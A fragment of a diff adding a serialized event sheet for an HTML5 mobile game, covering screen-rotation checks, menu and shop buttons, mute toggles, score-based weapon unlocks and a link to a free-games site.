+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 523500172570559,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 313249893878038,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 499892272907477,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 222610039730361,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 758858830558344,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 977981850425621,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 332395858706316,
+ false,
+ [
+ [
+ 4,
+ 5
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 847447539247918,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 521872508487533,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 691656635792889,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 788074147143397,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 371302544765654,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 965078450178023,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 758485215283966,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 170733174465161,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 928211444434889,
+ false,
+ [
+ [
+ 2,
+ [
+ "transition",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 961765878613230,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 127993230414598,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 688293383719897,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 996641326141900,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 740011890435535,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 824956153879024,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 387329180944525,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 513440271025584,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "shop",
+ [
+ [
+ 1,
+ "upgrade10",
+ 0,
+ 0,
+ false,
+ false,
+ 406342424681925,
+ false
+ ],
+ [
+ 1,
+ "upgrade9",
+ 0,
+ 0,
+ false,
+ false,
+ 996549750595421,
+ false
+ ],
+ [
+ 1,
+ "upgrade8",
+ 0,
+ 0,
+ false,
+ false,
+ 502365131207379,
+ false
+ ],
+ [
+ 1,
+ "upgrade7",
+ 0,
+ 0,
+ false,
+ false,
+ 465534223232262,
+ false
+ ],
+ [
+ 1,
+ "upgrade6",
+ 0,
+ 0,
+ false,
+ false,
+ 428292244001138,
+ false
+ ],
+ [
+ 1,
+ "upgrade5",
+ 0,
+ 0,
+ false,
+ false,
+ 830504230140236,
+ false
+ ],
+ [
+ 1,
+ "upgrade4",
+ 0,
+ 0,
+ false,
+ false,
+ 233424173707503,
+ false
+ ],
+ [
+ 1,
+ "upgrade3",
+ 0,
+ 0,
+ false,
+ false,
+ 273519434404892,
+ false
+ ],
+ [
+ 1,
+ "upgrade2",
+ 0,
+ 0,
+ false,
+ false,
+ 355660293927068,
+ false
+ ],
+ [
+ 1,
+ "upgrade1",
+ 0,
+ 0,
+ false,
+ false,
+ 338558124020321,
+ false
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 246897267442495,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 759355373543768,
+ false
+ ]
+ ],
+ [
+ [
+ 9,
+ 45,
+ null,
+ 322768139288141,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 622730248235270,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 169819363313467,
+ false,
+ [
+ [
+ 11,
+ "deaths"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 808776376195115,
+ false,
+ [
+ [
+ 11,
+ "totalmoney"
+ ],
+ [
+ 7,
+ [
+ 23,
+ "suma"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 144306318872310,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 998619588212379,
+ false,
+ [
+ [
+ 11,
+ "suma"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 840235164234269,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 385699691897508,
+ false,
+ [
+ [
+ 4,
+ 134
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 814985024097846,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 937436767174784,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 538669999798435,
+ false,
+ [
+ [
+ 6,
+ "Menu"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 340527169953912,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 577875348991667,
+ false,
+ [
+ [
+ 4,
+ 21
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 394585426449486,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 577676446451230,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 330354822587228,
+ false,
+ [
+ [
+ 6,
+ "How to play1"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 114185669631135,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 566910602407772,
+ false,
+ [
+ [
+ 4,
+ 116
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 7,
+ 26,
+ null,
+ 738852210992436,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "https://mixfreegames.com/"
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ "NewWindow"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 776891533082099,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 266512900881999,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 602791558154981,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 248836807095440,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 682704241597254,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 956522389586395,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 401528909679286,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 772214269780153,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 629837555895448,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 472702282148378,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 876218267882098,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 748222049808316,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 370806015550944,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 446310374095131,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 954046939070710,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 322566810347541,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 735525483364079,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 599230054272177,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 417645105640965,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 764726983927404,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 416635383175090,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 924408492775959,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 917815789088841,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 148696987078176,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 914547053366015,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 630873103101706,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 611421869368669,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 323638040530103,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 188572933420130,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 538559254366221,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 120352406575391,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 267595459348901,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 490874332278800,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 877931789565743,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 453625193576868,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 407925532004673,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 306515663778351,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 404944916543044,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 577941587127265,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 759948611180120,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 469076818343599,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 179060026933255,
+ false,
+ [
+ [
+ 4,
+ 270
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 535621779603781,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 202
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 200880063356998,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 797288042375657,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redskin3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 652216285243429,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 457348367885030,
+ false,
+ [
+ [
+ 4,
+ 271
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 954619778728241,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 560810157547941,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 302
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 410358278568410,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 275474457697924,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redskin3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 142454722597393,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 204325801596933,
+ false,
+ [
+ [
+ 4,
+ 430
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 899840041742390,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 20000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 530401455762160,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 402
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 179020534279787,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 136661190915271,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redskin3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 428684173181411,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 527171359925580,
+ false,
+ [
+ [
+ 4,
+ 430
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 339697371043813,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 50000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 379706925825910,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 502
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 531708907017691,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 453420221350980,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redskin3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 732251673559166,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 419854681307311,
+ false,
+ [
+ [
+ 4,
+ 432
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 193209849534727,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 100000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 280,
+ 75,
+ null,
+ 465142366563263,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 602
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 373
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 900362234510357,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 365870429823146,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redskin3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "weaponselected"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 479545600943166,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 425728923953033,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 271,
+ 30,
+ null,
+ 286214583867127,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 282,
+ 98,
+ null,
+ 283227232491129,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 740065597426274,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 510747559298035,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 282,
+ 98,
+ null,
+ 356195624320654,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 271,
+ 30,
+ null,
+ 440629368218388,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 541507409943957,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 476437015849755,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 20000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 430,
+ 30,
+ null,
+ 779198824565256,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 283,
+ 98,
+ null,
+ 848923961617438,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 720841241531587,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 202901395177897,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 20000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 283,
+ 98,
+ null,
+ 339618834137852,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 430,
+ 30,
+ null,
+ 850171640463659,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 755934679081830,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 352261636914195,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 50000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 431,
+ 30,
+ null,
+ 328991456166028,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 284,
+ 98,
+ null,
+ 797897511811053,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 941036208676417,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 569231286252965,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 50000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 284,
+ 98,
+ null,
+ 806555440458443,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 431,
+ 30,
+ null,
+ 185650696521419,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 608518077780058,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 761703368205654,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 100000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 432,
+ 30,
+ null,
+ 873791645363396,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "si"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 285,
+ 98,
+ null,
+ 788807189652886,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 271096157416629,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 582350521949741,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 100000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 285,
+ 98,
+ null,
+ 739075149080371,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 432,
+ 30,
+ null,
+ 149485437512484,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "no"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 618175641780462,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 655441157846186,
+ false
+ ]
+ ],
+ [
+ [
+ 355,
+ 95,
+ null,
+ 688831801452964,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 286232959243344,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 709355197618997,
+ false,
+ [
+ [
+ 4,
+ 191
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 774136348236968,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 121958857809563,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
